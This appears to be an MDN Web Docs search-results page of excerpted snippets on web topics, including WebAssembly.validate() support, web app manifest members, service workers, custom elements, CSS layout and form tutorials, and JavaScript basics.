WebAssembly JavaScript InterfaceThe definition of 'validate()' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the d...
...
WebAssembly JavaScript InterfaceThe definition of 'validate()' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...6Firefox Full support 52Notes Full support 52Notes Notes Disabled in the Firefox 52 Extended Support Release (ESR).IE No support NoOpera Full support 44Safari Full support 11
WebView Android Full support 57Chrome Android Full support 57Firefox Android Full support 52Notes Full support 52Notes Notes Disabled in the Firefox 52 Extended Support Release (ESR).Opera Android Full supp...
iarc_rating_id - Web app manifests
Note: The same code can be shared across multiple participating storefronts, as long as the distributed product remains the same (i.e., doesn't serve totally different code paths on different storefronts). ...
... Note: The same code can be shared across multiple participating storefronts, as long as the distributed product remains the same (i.e., doesn't serve totally different code paths on different storefronts). ...
...application is appropriate for. ...
...t remains the same (i.e., doesn't serve totally different code paths on different storefronts). ...
prefer_related_applications - Web app manifests
If omitted, prefer_related_applications defaults to false. ...
... If omitted, prefer_related_applications defaults to false. ...
... should be preferred over the
web application. If the prefer_related_applications member is set to true, the user agent might suggest installing one of the related applications instead of this
web app. ...
...elated applications instead of this
web app. If omitted, prefer_related_applications defaults to false. ...
scope - Web app manifests
If the scope is a relative URL, the base URL will be the URL of the manifest. ...
... If the scope is a relative URL, the base URL will be the URL of the manifest. ...
... If the scope is a relative URL, the base URL will be the URL of the manifest. ...
...e scope is relative, the manifest URL is used as a base URL: "scope": "/app/" The following scope limits navigation to the current site: "scope": "https://example.com/" Finally, the following example limits navigation to a subdirectory of the current site: "scope": "https://example.com/subdirectory/" Specification Specification Status Comment Feedback
Web App ManifestThe definition of 'scope' in that specification. Working Draft Initial definition.
Web App Manifest Working Group drafts ...
Making PWAs work offline with Service workers - Progressive web apps (PWAs)
Previous Overview: Progressive
web apps Next Now that we've seen what the structure of js13kPWA looks like and have seen the basic shell up and running, let's look at how the offline capabilities using Service Worker are implemented. In this article, we look at how it is used in our js13kPWA example (see the source code also). We examine how to add offline functionality. Service workers explained Service Workers are a virtual proxy between the browser and the network. They finally fix issues that front-end developers have struggled with for years -- most notably how to properly cache the assets of a
website and make them available when the user's device is offline. They run on a separate thread from the main JavaScript code of our page, and don't have any access to the DOM...
...You are able to give a Service Worker something to work on, and receive the result whenever it is ready using a Promise-based approach. ...
...hat ExtendableEvent.waitUntil does, and what the caches object is. The service worker does not install until the code inside waitUntil is executed. It returns a promise -- this approach is needed because installing may take some time, so we have to wait for it to finish. caches is a special CacheStorage object available in the scope of the given Service Worker to enable saving data -- saving to
web storage won't work, because
web storage is synchronous. With Service Workers, we use the Cache API instead. Here, we open a cache with a given name, then add all the files our app uses to the cache, so they are available next time it loads (identified by request URL). Activation There is also an activate event, which is used in the same way as install. This event is usually used to delete any ...
...e we took a simple look at how you can make your PWA work offline with service workers. Be sure to check out our further documentation if you want to learn more about the concepts behind the Service Worker API and how to use it in more detail. Service Workers are also used when dealing with push notifications -- this will be explained in a subsequent article. Previous Overview: Progressive
web apps Next ...
Mobile first - Progressive web apps (PWAs)
In our Planning your App article, we provided a high level look into the kinds of planning and functionality decisions you should make before you start coding an app, including some ideas for desktop and mobile design. This article offers some related ideas, looking at the concept of mobile first -- the practice of designing a
website so that the default layout/configuration is for mobile devices, and layouts and features for desktop browsers are then layered on top of that default. This guide looks at a few useful techniques inside the mobile first umbrella. First things first -- mobile as a default You may think that concentrating on the mobile experience first sounds pointless, as we are more used to dealing with desktop sites, and we surely need to consider the full gamut of f...
...o npm install -g volo (You'll also need to get Node.js too if you don't already have it) I then created my sample project using volo create myapp mozilla/mortar-app-stub This creates a sample project inside a directory called myapp. The app's code files are inside the www folder. Volo has a number of useful commands available, of which we will just use a couple: volo server: starts a local
web server at localhost:8080 and runs your app through it: great for easy testing. volo build: builds a minified code version of your app, ready for production deployment, in a www-built folder. volo build base=www-built: runs the built version through the server instead of the development version. Built-in features of the Mortar template Mortar templates contain a number of built-in features. I...
...ound image is 126KB, and not ideal for narrow layouts. Having it included in the "600 pixels or wider" media query means that narrow screen devices won't read that media query, so they will not waste their time and bandwidth downloading that image. Note: Firefox's Responsive Design View is a great way to get a quick idea of how your media queries are behaving themselves. Try it out with Tools >
Web Developer > Responsive Design View. Feature detection Feature detection involves doing tests (usually in JavaScript) to determine whether a browser supports a certain feature, and then serving CSS or JavaScript to suit that situation. This can be very useful for mobile first, as you may well want to hide bits of code from the "mobile version" and only include them for the "desktop version", or...
...e the following JS block to test whether media queries are supported, and if not, to load in respond.js, Scott Jehl's matchMedia and media query polyfill. if(!Modernizr.mq('only all')) { require('respond'); } EDITORIAL NOTE: This currently doesn't work, and I'm not sure why. Ongoing work required. matchMedia is also very useful in many other ways. Imagine you wanted to include some kind of
WebGL chart in the desktop version of the site requiring a
WebGL library like Three but didn't want it included in the mobile version? You could create a block to only load the library in the case of narrow screen devices: if(window.matchMedia("(min-width: 481px)").matches) { require('three'); } We can, therefore, save the bandwidth for browsers that don't need it. Modernizr CSS and JS Back to ...
Using custom elements - Web Components
This article introduces the use of the Custom Elements API. Note: Custom elements are supported by default in Firefox, Chrome, and Edge (76). Opera and Safari so far support only autonomous custom elements. High-level view The controller of custom elements on a
web document is the CustomElementRegistry object -- this object allows you to register a custom element on the page, return information on what custom elements are registered, etc. ...
...ty on an HTML page, rather than having to make do with a long, nested batch of elements that together provide a custom page feature. This article introduces the use of the Custom Elements API. Note: Custom elements are supported by default in Firefox, Chrome, and Edge (76). Opera and Safari so far support only autonomous custom elements. High-level view The controller of custom elements on a
web document is the CustomElementRegistry object -- this object allows you to register a custom element on the page, return information on what custom elements are registered, etc. To register a custom element on the page, you use the CustomElementRegistry.define() method. This takes as its arguments: A DOMString representing the name you are giving to the element. Note that custom element names ...
...ing a standalone element. This is what makes it a customized built-in, rather than an autonomous element. Next, we register the element using the define() method as before, except that this time it also includes an options object that details what element our custom element inherits from: customElements.define('expanding-list', ExpandingList, { extends: "ul" }); Using the built-in element in a
web document also looks somewhat different: <ul is="expanding-list"> ... </ul> You use a <ul> element as normal, but specify the name of the custom element inside the is attribute. Note: Again, you can see the full JavaScript source code here. Using the lifecycle callbacks You can define several different callbacks inside a custom element's class definition, which fire at different points ...
...be preserved. constructor(...args) { return super(...args); } Transpilers vs. classes Please note that ES2015 classes cannot reliably be transpiled in Babel 6 or TypeScript targeting legacy browsers. You can either use Babel 7 or the babel-plugin-transform-builtin-classes for Babel 6, and target ES2015 in TypeScript instead of legacy. Libraries There are several libraries that are built on
Web Components with the aim of increasing the level of abstraction when creating custom elements. Some of these libraries are snuggsi ?, X-Tag, Slim.js, LitElement, Smart, Stencil and hyperHTML-Element. ...
Mozilla Web Developer Community - Archive of obsolete content
Get news from developer.mozilla.org and connect with developers involved in cross-browser, standards-based
web development. ...
...L - mozilla.dev.tech.html Plugins - mozilla.dev.tech.plugins XML - mozilla.dev.tech.xml Documentation - See MDC:Community More at http://www.mozilla.org/community/dev...er-forums.html MozillaZine Forums Mozilla news and development Help Mozilla (Testing and Development) mozdev.org MozillaZine Planet Mozilla Spread Firefox Standards communities Get involved in grass-roots
web standards evangelism efforts through these groups: The
Web Standards Project, a grassroots coalition fighting for standards MACCAWS, Making a Commercial Case for
Web Standards A List Apart, for people who make
websites Mozilla Technology Evangelism, get involved with Mozilla evangelism You may also find helpful information on the W3C Mailing Lists Newsletter There is no newsletter planned a...
...Recent Changes RSS Feed Warning: This feed is updated very often. Mozilla Developer News Feed Actually, there are no other feeds available for developer.mozilla.org. Looking for feed ideas? The list of old DevEdge feeds is at http://devedge-temp.mozilla.org/comm.../feedlist.html Feedback Hendrix MDNProduct Feedback Bugzilla - Report a bug in a Mozilla product For questions related to this
website (but not technical questions), please send your message to the MDC mailing list. ...
Well-Formed Web - Archive of obsolete content
Getting Started A guided tutorial that will help you get started with the Well-Formed
Web RSS Module. The Well-Formed
Web RSS Module provides facilities for <item> level commenting: for linking to comments contained in an external RSS Feed, and for posting new comments. Documentation Selected Articles Why Well-Formed
Web RSS Module is Popular - Syndicating Your Comments Charles Iliya Krempeaux talks about the RSS Well-Formed
Web Module, why it is popular among some, and how it is used to link to your comments (2005-08-22). ...
...ed in an external RSS Feed, and for posting new comments. Documentation Selected Articles Why Well-Formed
Web RSS Module is Popular - Syndicating Your Comments Charles Iliya Krempeaux talks about the RSS Well-Formed
Web Module, why it is popular among some, and how it is used to link to your comments (2005-08-22). ...
...
Web Module, why it is popular among some, and how it is used to link to your comments (2005-08-22). ...
The Basics of Web Services - Archive of obsolete content
Summary: A current hot topic on the
web right now are
Web Services. This short guide will allow you to learn more about
web services. The Basics
Web services are not really anything that new, and actually, if you've ever used an RSS or Atom feed to pull news from a
website, you have an idea of how a
web service might work.
Web services exchange data from a server to a client, using an XML format to send requests, so both the server and the client can understand each other. (XML Introduction). A better way to understand a
web service is to compare it to a HTML form communication with a server side script (such as PHP or ASP) to post and send data. Both
web services and forms send and receive requests. The only major difference is that a
web service uses XML. Examples of
Web Servic...
...XML-RPC was developed by Useful Inc, along with Microsoft. ...
... or ASP) to post and send data. Both
web services and forms send and receive requests. The only major difference is that a
web service uses XML. Examples of
Web Services In Action As said before, RSS and Atom feeds are a simple example of how a
web service works, most commonly, XML-RPC or SOAP are also used to communicate between a server and a client. Introducing XML-RPC XML-RPC is a type of
web service and has been around since 1998, though not an official W3C standard, it is widely used. XML-RPC was developed by Useful Inc, along with Microsoft. Warning: XML-RPC support was removed from Firefox starting with Firefox 3. Introducing SOAP SOAP, a
web service, is listed as a W3C standard, and is similar in ways to XML-RPC. SOAP also has backing from IBM, as well as Microsoft. Warning: ...
Efficient animation for web games - Game development
We touch on CSS transitions and CSS animations, and JavaScript loops involving window.requestAnimationFrame. There are several techniques worth knowing that will improve the performance of your game or application whilst also using less battery life, especially on low-end devices. It is worth documenting some of these things, as there is evidence to suggest (in popular and widely-used UI libraries, for example) that they aren't necessarily common knowledge. First off, let us discuss some basic ideas. ...
...g with requestAnimationFrame (and in general), you may be blocking the browser from updating other things. Try to keep unnecessary work outside your animation functions. For example, it may make sense for animation setup to happen in a setTimeout/clearTimeout callback rather than a requestAnimationFrame callback. Though it is possibly overkill for simple games, you may also want to consider using
Web Worker threads. It is worth trying to batch similar operations, and to schedule them at a time when screen updates are unlikely to occur, or when such updates are of a more subtle nature. Modern console games, for example, tend to prioritise framerate during player movement and combat, but may prioritise image quality or physics detail when compromise to framerate and input response would be less...
... ...
Cascade and inheritance - Learn web development
erridden in any other way. But really, don't use it if you can avoid it. The effect of CSS location Finally, it is also useful to note that the importance of a CSS declaration depends on what stylesheet it is specified in -- it is possible for users to set custom stylesheets to override the developer's styles, for example the user might be visually impaired, and want to set the font size on all
web pages they visit to be double the normal size to allow for easier reading. To summarize Conflicting declarations will be applied in the following order, with later ones overriding earlier ones: Declarations in user agent style sheets (e.g. the browser's default styles, used when no other styling is set). Normal declarations in user style sheets (custom styles set by a user). Normal declara...
... reading. To summarize Conflicting declarations will be applied in the following order, with later ones overriding earlier ones: Declarations in user agent style sheets (e.g. the browser's default styles, used when no other styling is set). Normal declarations in user style sheets (custom styles set by a user). Normal declarations in author style sheets (these are the styles set by us, the
web developers). Important declarations in author style sheets Important declarations in user style sheets It makes sense for
web developers' stylesheets to override user stylesheets, so the design can be kept as intended, but sometimes users have good reasons to override
web developer styles, as mentioned above -- this can be achieved by using !important in their rules. Test your skills! We ha...
...hat's next If you understood most of this article, then well done -- you've started getting familiar with the fundamental mechanics of CSS. Next up, we'll look at selectors in detail. If you didn't fully understand the cascade, specificity, and inheritance, then don't worry! This is definitely the most complicated thing we've covered so far in the course, and is something that even professional
web developers sometimes find tricky. We'd advise that you return to this article a few times as you continue through the course, and keep thinking about it. Refer back here if you start to come across strange issues with styles not applying as expected. It could be a specificity issue. Overview: Building blocks Next In this module Cascade and inheritance CSS selectors Type, class...
Handling different text directions - Learn web development
Previous Overview: Building blocks Next Many of the properties and values that we have encountered so far in our CSS learning have been tied to the physical dimensions of our screen. We create borders on the top, right, bottom, and left of a box, for example. These physical dimensions map very neatly to content that is viewed horizontally, and by default the
web tends to support left-to-right languages (e.g. English or French) better than right-to-left languages (such as Arabic). In recent years however, CSS has evolved in order to better support different directionality of content, including right-to-left but also top-to-bottom content (such as Japanese) -- these different directionalities are called writing modes. As you progress in your study and begin to work with layout...
...'t need to be working in a language which uses a vertical writing mode to want to do this -- you could also change the writing mode of parts of your layout for creative purposes. In the example below we have a heading displayed using writing-mode: vertical-rl. The text now runs vertically. Vertical text is common in graphic design, and can be a way to add a more interesting look and feel to your
web design. The three possible values for the writing-mode property are: horizontal-tb: Top-to-bottom block flow direction. Sentences run horizontally. vertical-rl: Right-to-left block flow direction. Sentences run vertically. vertical-lr: Left-to-right block flow direction. Sentences run vertically. So the writing-mode property is in reality setting the direction in which block-level eleme...
...r on. Direction In addition to writing mode we also have text direction. As mentioned above, some languages such as Arabic are written horizontally, but right-to-left. This is not something you are likely to use in a creative sense -- if you simply want to line something up on the right there are other ways to do so -- however it is important to understand this as part of the nature of CSS. The
web is not just for languages that are displayed left-to-right! Due to the fact that writing mode and direction of text can change, newer CSS layout methods do not refer to left and right, and top and bottom. Instead they will talk about start and end along with this idea of inline and block. Don't worry too much about that right now, but keep these ideas in mind as you start to look at layout; you ...
Images, media, and form elements - Learn web development
behaviors, essentially to avoid them being stretched strangely by the layout. To force the image to stretch to fill the grid cell it is in, you'd have to do something like following: img { width: 100%; height: 100%; } This would however stretch the image, so probably isn't what you'd want to do. Form elements Form elements can be a tricky issue when it comes to styling with CSS, and the
Web Forms module contains detailed guides to the trickier aspects of styling form elements, which I will not fully reproduce here. There are a few key basics worth highlighting in this section of the article. Many form controls are added to your page by way of the <input> element -- this defines simple form fields such as text inputs, through to more complex fields added in HTML5 such as color and d...
...added to your page by way of the <input> element -- this defines simple form fields such as text inputs, through to more complex fields added in HTML5 such as color and date pickers. There are some additional elements, such as <textarea> for multiline text input, and also elements used to contain and label parts of forms such as <fieldset> and <legend>. HTML5 also contains attributes that enable
web developers to indicate which fields are required, and even the type of content that needs to be entered. If the user enters something unexpected, or leaves a required field blank, the browser can show an error message. Different browsers are inconsistent in how much styling and customization they allow for such items. Styling text input elements Elements that allow for text input, such as <inpu...
... your own work on the CSS. They are not as important as they once were, as browsers are typically more consistent than in the past. However if you want to take a look at one example, check out Normalize.css, which is a very popular stylesheet used as a base by many projects. For further information on styling forms, take a look at the two articles in the HTML section of these guides. Styling
web forms Advanced form styling Test your skills! We have covered a lot in this article, but can you remember the most important information? You can find some further tests to verify that you've retained this information before you move on -- see Test your skills: Images and form elements. Summary This lesson has highlighted some of the differences you will encounter when working with images, ...
Sizing items in CSS - Learn web development
Understanding how big the different features in your design will be is important, and in this lesson we will summarize the various ways elements get a size via CSS and define a few terms around sizing that will help you in the future. ...
...nd height values, and it will now have that size no matter what content is placed into it. As we discovered in our previous lesson on overflow, a set height can cause content to overflow if there is more content than the element has space to fit inside it. Due to this problem of overflow, fixing the height of elements with lengths or percentages is something we need to do very carefully on the
web. Using percentages In many ways, percentages act like length units, and as we discussed in the lesson on values and units, they can often be used interchangeably with lengths. When using a percentage you need to be aware what it is a percentage of. In the case of a box inside another container, if you give the child box a percentage width it will be a percentage of the width of the parent conta...
...ly appear once the document is scrolled. Test your skills! We have covered a lot in this article, but can you remember the most important information? You can find some further tests to verify that you've retained this information before you move on -- see Test your skills: Sizing. Summary This lesson has given you a rundown of some key issues that you might run into when sizing things on the
web. When you move onto CSS Layout, sizing will become very important in mastering the different layout methods, so it is worth understanding the concepts here before moving on. Previous Overview: Building blocks Next In this module Cascade and inheritance CSS selectors Type, class, and ID selectors Attribute selectors Pseudo-classes and pseudo-elements Combinators ...
Grids - Learn web development
It lets you lay content out in rows and columns, and has many features that make building complex layouts straightforward. This article will give you all you need to know to get started with page layout. Prerequisites: HTML basics (study Introduction to HTML), and an idea of how CSS works (study Introduction to CSS and Styling boxes.) Objective: To understand the fundamental concepts behind grid layout systems, and how to implement a grid layout using CSS Grid. ...
...ndamental concepts behind grid layout systems, and how to implement a grid layout using CSS Grid. What is grid layout? A grid is a collection of horizontal and vertical lines creating a pattern against which we can line up our design elements. They help us to create designs where elements don't jump around or change width as we move from page to page, providing greater consistency on our
websites. A grid will typically have columns, rows, and then gaps between each row and column -- commonly referred to as gutters. Creating your grid in CSS Having decided on the grid that your design needs, you can use CSS Grid Layout to create that grid in CSS and place items onto it. We will look at the basic features of Grid Layout first and then explore how to create a simple grid system for...
...ns: repeat(3, 1fr); grid-auto-rows: 100px; grid-gap: 20px; } The minmax() function Our 100-pixel tall tracks won't be very useful if we add content into those tracks that is taller than 100 pixels, in which case it would cause an overflow. It might be better to have tracks that are at least 100 pixels tall and can still expand if more content gets into them. A fairly basic fact about the
web is that you never really know how tall something is going to be; additional content or larger font sizes can cause problems with designs that attempt to be pixel perfect in every dimension. The minmax() function lets us set a minimum and maximum size for a track, for example minmax(100px, auto). The minimum size is 100 pixels, but the maximum is auto, which will expand to fit the content. Try ch...
Legacy layout methods - Learn web development
width: 48%; float: right; } You'll notice here that we are using percentages for all the widths -- this is quite a good strategy, as it creates a liquid layout, one that adjusts to different screen sizes and keeps the same proportions for the column widths at smaller screen sizes. Try adjusting the width of your browser window to see for yourself. This is a valuable tool for responsive
web design. Note: You can see this example running at 0_two-column-layout.html (see also the source code). Creating simple legacy grid frameworks The majority of legacy frameworks use the behavior of the float property to float one column up next to another in order to create something that looks like a grid. Working through the process of creating a grid with floats shows you how this works and...
... you are still using a tool for something other than what it was designed for. So you may feel like it is making you jump through additional hoops to get the end result you want. Third party grid systems Now that we understand the math behind our grid calculations, we are in a good place to look at some of the third party grid systems in common use. If you search for "CSS Grid framework" on the
Web, you will find a huge list of options to choose from. Popular frameworks such as Bootstrap and Foundation include a grid system. There are also standalone grid systems, either developed using CSS or using preprocessors. Let's take a look at one of these standalone systems as it demonstrates common techniques for working with a grid framework. The grid we will be using is part of Skeleton, a simp...
.... Popular frameworks such as Bootstrap and Foundation include a grid system. There are also standalone grid systems, either developed using CSS or using preprocessors. Let's take a look at one of these standalone systems as it demonstrates common techniques for working with a grid framework. The grid we will be using is part of Skeleton, a simple CSS framework. To get started visit the Skeleton
website, and choose "Download" to download the ZIP file. Unzip this and copy the skeleton.css and normalize.css files into a new directory. Make a copy of our html-skeleton.html file and save it in the same directory as the skeleton and normalize CSS. Include the skeleton and normalize CSS in the HTML page, by adding the following to its head: <link href="normalize.css" rel="stylesheet"> <link hre...
How to build custom form controls - Learn web development
t looks like a select box, from the browser's point of view it isn't one, so assistive technologies won't be able to understand it's a select box. In short, this pretty new select box isn't accessible! Fortunately, there is a solution and it's called ARIA. ARIA stands for "Accessible Rich Internet Application", and it's a W3C specification specifically designed for what we are doing here: making
web applications and custom controls accessible. It's basically a set of attributes that extend HTML so that we can better describe roles, states and properties as though the element we've just devised was the native element it tries to pass for. Using these attributes can be done by editing the HTML markup. We also update the ARIA attributes via JavaScript as the user updates their selected value. ...
...p and down (and left and right) arrows work to select the previous and next items. Try it out: This works, to some extent, without JavaScript. We've created a similar control to our custom control, that works even if the JavaScript fails. Looks like a great solution, right? Well, not 100%. It does work with the keyboard, but not as expected with a mouse click. It likely makes more sense to use
web standards as the basis for custom controls instead of relying on frameworks to create elements with no native semantics. However, our control doesn't have the same functionality that a <select> has natively. On the plus side, this control is fully accessible to a screen reader and fully navigable via the keyboard. However, this control isn't a <select> replacement. There is functionality that di...
...Have fun! ...
Sending forms through JavaScript - Learn web development
Let's first talk about why this requires a different approach. ...
... HTTP header for form data POST requests XHR.setRequestHeader( 'Content-Type', 'application/x-www-form-urlencoded' ); // Finally, send our data. XHR.send( urlEncodedData ); } btn.addEventListener( 'click', function() { sendData( {test:'ok'} ); } ) Here's the live result: Note: This use of XMLHttpRequest is subject to the same-origin policy if you want to send data to a third party
web site. For cross-origin requests, you'll need CORS and HTTP access control. Using XMLHttpRequest and the FormData object Building an HTTP request by hand can be overwhelming. Fortunately, the XMLHttpRequest specification provides a newer, simpler way to handle form data requests with the FormData object. The FormData object can be used to build form data for transmission, or to get the data wi...
... To learn more about that, see the example in Accessing the element list's contents in HTMLFormElement.elements. Dealing with binary data If you use a FormData object with a form that includes <input type="file"> widgets, the data will be processed automatically. But to send binary data by hand, there's extra work to do. There are many sources for binary data, including FileReader, Canvas, and
WebRTC. Unfortunately, some legacy browsers can't access binary data or require complicated workarounds. To learn more about the FileReader API, see Using files from
web applications. The least complicated way of sending binary data is by using FormData's append() method, demonstrated above. If you have to do it by hand, it's trickier. In the following example, we use the FileReader API to access b...
UI pseudo-classes - Learn web development
ntrol will have a silver border, like so: You can also try submitting the form without filling it in, to see the client-side validation error messages browsers give you by default. The above form isn't bad, but it isn't great either. For a start, we are signalling required versus optional status using color alone, which isn't great for colorblind people. Second, the standard convention on the
web for required status is an asterisk (*), or the word "required" being associated with the controls in question. In the next section, we'll look at a better example of indicating required fields using :required, which also digs into using generated content. Note: You'll probably not find yourself using the :optional pseudo-class very often. Form controls are optional by default, so you could jus...
...retained this information before you move on -- see Test your skills: Advanced styling. Summary This completes our look at UI pseudo-classes that relate to form inputs. Keep playing with them, and create some fun form styles! Next up, we'll move on to something different -- client-side form validation. ...
...ummary This completes our look at UI pseudo-classes that relate to form inputs. Keep playing with them, and create some fun form styles! Next up, we'll move on to something different -- client-side form validation. ...
Structuring a page of content - Learn web development
g it out using CSS is a very important skill to master, so in this assessment you'll be tested on your ability to think about how a page might end up looking, and choose appropriate structural semantics to build a layout on top of. Prerequisites: Before attempting this assessment you should have already worked through the rest of the course, with a particular emphasis on Document and
website structure. Objective: To test knowledge of
web page structures, and how to represent a prospective layout design in markup. Starting point To get this assessment started, you should go and grab the zip file containing all the starting assets. The zip file contains: The HTML you need to add structural markup to. CSS to style your markup. Images that are used on the ...
... Images that are used on the page. Create the example on your local computer, or alternatively use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. Note: If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Project brief For this project, your task is to take the content for the homepage of a bird watching
website and add structural elements to it so it can have a page layout applied to it. It needs to have: A header spanning the full width of the site containing the main title for the page, the site logo, and the navigation menu. The title and logo appear side by side once styling is applied, and the navigation appears below those two items. A main content area containing two columns -- a main blo...
...it's very hard to help someone with a coding problem if you can't see their code. ...
HTML table basics - Learn web development
ion between different types of data, for example a person and their age, or a day of the week, or the timetable for a local swimming pool. Tables are very commonly used in human society, and have been for a long time, as evidenced by this US Census document from 1800: It is therefore no wonder that the creators of HTML provided a means by which to structure and present tabular data on the
web. How does a table work? The point of a table is that it is rigid. Information is easily interpreted by making visual associations between row and column headers. Look at the table below for example and find a Jovian gas giant with 62 moons. You can find the answer by associating the relevant row and column headers. Data about the planets of our solar system (Planetary facts taken from Nasa's...
...perience of sighted and visually impaired users alike. Table styling You can also have a look at the live example on GitHub! One thing you'll notice is that the table does look a bit more readable there -- this is because the table you see above on this page has minimal styling, whereas the GitHub version has more significant CSS applied. Be under no illusion; for tables to be effective on the
web, you need to provide some styling information with CSS, as well as good solid structure with HTML. In this module we are focusing on the HTML part; to find out about the CSS part you should visit our Styling tables article after you've finished here. We won't focus on CSS in this module, but we have provided a minimal CSS stylesheet for you to use that will make your tables more readable than th...
...without any styling. You can find the stylesheet here, and you can also find an HTML template that applies the stylesheet -- these together will give you a good starting point for experimenting with HTML tables. When should you NOT use HTML tables? HTML tables should be used for tabular data -- this is what they are designed for. Unfortunately, a lot of people used to use HTML tables to lay out
web pages, e.g. one row to contain the header, one row to contain the content columns, one row to contain the footer, etc. You can find more details and an example at Page Layouts in our Accessibility Learning Module. This was commonly used because CSS support across browsers used to be terrible; table layouts are much less common nowadays, but you might still see them in some corners of the
web. In...
Asynchronous JavaScript - Learn web development
Get started Prerequisites Asynchronous JavaScript is a fairly advanced topic, and you are advised to work through JavaScript first steps and JavaScript building blocks modules before attempting this. ...
... Note: If you are working on a computer/tablet/other device where you don't have the ability to create your own files, you can try out (most of) the code examples in an online coding program such as JSBin or Glitch. Guides General asynchronous programming concepts In this article we'll run through a number of important concepts relating to asynchronous programming, and how this looks in
web browsers and JavaScript. You should understand these concepts before working through the other articles in the module. Introducing asynchronous JavaScript In this article we briefly recap the problems associated with sychronous JavaScript, and take a first look at some of the different asynchronous JavaScript techniques you'll encounter, showing how they can help us solve such problems. Coop...
...t issues. Handling async operations gracefully with Promises Promises are a comparatively new feature of the JavaScript language that allow you to defer further actions until after the previous action has completed, or respond to its failure. This is really useful for setting up a sequence of operations to work correctly. This article shows you how promises work, where you'll see them in use in
WebAPIs, and how to write your own. Making asynchronous programming easier with async and await Promises can be somewhat complex to set up and understand, and so modern browsers have implemented async functions and the await operator. The former allows standard functions to implicitly behave asynchronously with promises, whereas the latter can be used inside async functions to wait for promises bef...
JavaScript building blocks - Learn web development
In this module, we continue our coverage of all JavaScript's key fundamental features, turning our attention to commonly-encountered types of code blocks such as conditional statements, loops, functions, and events. You've seen this stuff already in the course, but only in passing -- here we'll discuss it all explicitly. Looking to become a front-end
web developer? We have put together a course that includes all the essential information you need to work towards your goal. Get started Prerequisites Before starting this module, you should have some familiarity with the basics of HTML and CSS, and you should have also worked through our previous module, JavaScript first steps. Note: If you are working on a computer/tablet/other device where you don't have the ability to create your ow...
...thers do. It's important to understand what their values are, how to make use of them in your code, and how to make your own custom functions return useful values. Introduction to events Events are actions or occurrences that happen in the system you are programming, which the system tells you about so you can respond to them in some way if desired. For example if the user clicks a button on a
webpage, you might want to respond to that action by displaying an information box. In this final article we will discuss some important concepts surrounding events, and look at how they work in browsers. Assessments The following assessment will test your understanding of the JavaScript basics covered in the guides above. Image gallery Now that we've looked at the fundamental building blocks ...
... ...
Storing the information you need — Variables - Learn web development
In this article, we will get down to the real basics, looking at how to work with the most basic building blocks of JavaScript -- Variables. Prerequisites: Basic computer literacy, a basic understanding of HTML and CSS, an understanding of what JavaScript is. Objective: To gain familiarity with the basics of JavaScript variables. ...
...e little cardboard boxes that you can store things in. Declaring a variable To use a variable, you've first got to create it -- more accurately, we call this declaring the variable. To do this, we type the keyword var or let followed by the name you want to call your variable: let myName; let myAge; Here we're creating two variables called myName and myAge. Try typing these lines into your
web browser's console. After that, try creating a variable (or two) with your own name choices. Note: In JavaScript, all code instructions should end with a semi-colon (;) -- your code may work correctly for single lines, but probably won't when you are writing multiple lines of code together. Try to get into the habit of including it. You can test whether these values now exist in the execution ...
...multiline JavaScript program that declares and initializes a variable, you can actually declare a variable with var after you initialize it and it will still work. For example: myName = 'Chris'; function logName() { console.log(myName); } logName(); var myName; Note: This won't work when typing individual lines into a JavaScript console, just when running multiple lines of JavaScript in a
web document. This works because of hoisting -- read var hoisting for more detail on the subject. Hoisting no longer works with let. If we changed var to let in the above example, it would fail with an error. This is a good thing -- declaring a variable after you initialize it results in confusing, harder to understand code. Secondly, when you use var, you can declare the same variable as many ti...
HTML performance features - Learn web development
Previous Overview: Performance Next HTML is by default fast and accessible. It is our job, as developers, to ensure that we preserve these two properties when creating or editing HTML code. Complications can occur when, for example, the file size of a <video> embed is too large, or when a
webpage is not optimized for mobile devices. This module intends to walk you through the key HTML performance features that can drastically improve the quality of your
webpage. Prerequisites: Basic computer literacy, basic software installed, and basic knowledge of client-side
web technologies. Objective: To learn about the impact of HTML elements and attributes on
web performance optimization. Elements & attributes impacting performance The <picture> Element Th...
... HTML performance features CSS performance features Fonts and performance Mobile performance Focusing on performance See Also The <picture> Element The <video> Element The <source> Element The <img> srcset attri...
... HTML performance features CSS performance features Fonts and performance Mobile performance Focusing on performance See Also The <picture> Element The <video> Element The <source> Element The <img> srcset attribute Responsive ima...
Perceived performance - Learn web development
Previous Overview: Performance Next Perceived performance is how fast a
website seems to the user. How a user perceives your performance is as important, or perhaps more important, than any objective statistic, but it's subjective, and not as readily measurable. Perceived performance is user perspective, not a metric. This article provides a brief introduction to perceived performance, looking at user perceptions, and what objective tools can be used to measure that which is subjective. Prerequisites: Basic computer literacy, basic software installed, and basic knowledge of client-side
web technologies. Objective: To gain basic familiarity of user perception of
web performance. ...
...rceived performance, looking at user perceptions, and what objective tools can be used to measure that which is subjective. Prerequisites: Basic computer literacy, basic software installed, and basic knowledge of client-side
web technologies. Objective: To gain basic familiarity of user perception of
web performance. Performance is about user perception. How fast a
website feels like it's loading and rendering has a greater impact on user experience than how fast the
website actually loads and renders. Even if an operation is going to take a long time (because of latency or or inavailability of the main thread), it is possible to keep the user engaged while they wait by showing a loading spinner, or a series of useful hints and tips (or jokes, or whatever else ...
...ait time into active phases and reducing any passive waiting, even if the objective measurements stay the same, the user will feel like the content downloaded, rendered, and responded more quickly. Now that we know what we should be speeding up, let's take a look at some metrics and learn how we can measure these events. Previous Overview: Performance Next In this module The "why" of
web performance What is
web performance? How do users perceive performance? Measuring performance Multimedia: images Multimedia: video JavaScript performance best practices. HTML performance features CSS performance features Fonts and performance Mobile performance Focusing on performance ...
Learning area release notes - Learn web development
This page details significant changes made to the learning area. Check back here if you want to know what new content is available, and what existing content has been improved. If you want to give feedback on any of these new additions, please leave comments in our Discourse forum. June 2020 Our Front-end
web developer learning pathway is officially launched! Check it out for an opinionated pathway to follow for learning front-end development! Also see our hacks post -- Introducing the MDN
Web Docs Front-end developer learning pathway -- for more information about the rationale behind it. May 2020 Our Understanding client-side JavaScript frameworks module is now available. Learn why frameworks exist, when you should use one (and when you shouldn't), what kinds of features are common to ...
